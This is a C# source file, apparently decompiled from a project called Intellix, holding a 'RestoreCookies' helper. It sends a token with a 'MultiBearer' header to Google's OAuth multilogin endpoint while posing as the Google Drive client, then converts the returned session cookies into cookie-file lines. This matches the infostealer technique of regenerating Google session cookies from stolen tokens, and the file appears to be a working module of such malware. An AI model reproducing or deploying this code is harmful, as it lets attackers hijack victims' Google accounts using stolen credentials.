Intellix/Intelix.Helper/RestoreCookies.cs

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;

namespace Intelix.Helper;

public static class RestoreCookies
{
	public class Account
	{
		public string type { get; set; }

		public string display_name { get; set; }

		public string display_email { get; set; }

		public string photo_url { get; set; }

		public bool selected { get; set; }

		public bool default_user { get; set; }

		public int authuser { get; set; }

		public bool valid_session { get; set; }

		public string obfuscated_id { get; set; }

		public bool is_verified { get; set; }
	}

	public class Cookie
	{
		public string name { get; set; }

		public string value { get; set; }

		public string domain { get; set; }

		public string path { get; set; }

		public bool isSecure { get; set; }

		public bool isHttpOnly { get; set; }

		public int maxAge { get; set; }

		public string priority { get; set; }

		public string sameParty { get; set; }

		public string sameSite { get; set; }

		public string host { get; set; }
	}

	public class Root
	{
		public string status { get; set; }

		public List<Cookie> cookies { get; set; }

		public List<Account> accounts { get; set; }
	}

	private static string SendPostRequest(string token)
	{
		try
		{
			HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive");
			httpWebRequest.Method = "POST";
			httpWebRequest.ContentType = "application/x-www-form-urlencoded";
			httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token);
			httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n";
			string s = "";
			byte[] bytes = Encoding.UTF8.GetBytes(s);
			using (Stream stream = httpWebRequest.GetRequestStream())
			{
				stream.Write(bytes, 0, bytes.Length);
			}
			using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
			if (httpWebResponse.StatusCode == HttpStatusCode.OK)
			{
				using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
				{
					return streamReader.ReadToEnd();
				}
			}
		}
		catch (Exception)
		{
		}
		return string.Empty;
	}

	public static string CRestore(string restore)
	{
		try
		{
			string text = SendPostRequest(restore);
			if (string.IsNullOrEmpty(text))
			{
				return string.Empty;
			}
			text = text.Remove(0, 5);
			Root obj = new Root
			{
				status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value,
				cookies = ExtractCookies(text),
				accounts = ExtractAccounts(text)
			};
			StringBuilder stringBuilder = new StringBuilder();
			foreach (Cookie cookie in obj.cookies)
			{
				string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host);
				text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2);
				stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value);
			}
			return stringBuilder.ToString();
		}
		catch
		{
		}
		return string.Empty;
	}

	private static List<Cookie> ExtractCookies(string json)
	{
		List<Cookie> list = new List<Cookie>();
		foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
		{
			string value = item2.Value;
			int result;
			Cookie item = new Cookie
			{
				name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value,
				value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value,
				domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value,
				path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value,
				isSecure = Regex.IsMatch(value, "\"isSecure\":true"),
				isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"),
				maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0),
				priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value,
				sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value,
				sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value,
				host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value
			};
			list.Add(item);
		}
		return list;
	}

	private static List<Account> ExtractAccounts(string json)
	{
		List<Account> list = new List<Account>();
		foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
		{
			string value = item2.Value;
			int result;
			Account item = new Account
			{
				type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value,
				display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value,
				display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value,
				photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value,
				selected = Regex.IsMatch(value, "\"selected\":true"),
				default_user = Regex.IsMatch(value, "\"default_user\":true"),
				authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0),
				valid_session = Regex.IsMatch(value, "\"valid_session\":true"),
				obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value,
				is_verified = Regex.IsMatch(value, "\"is_verified\":true")
			};
			list.Add(item);
		}
		return list;
	}
}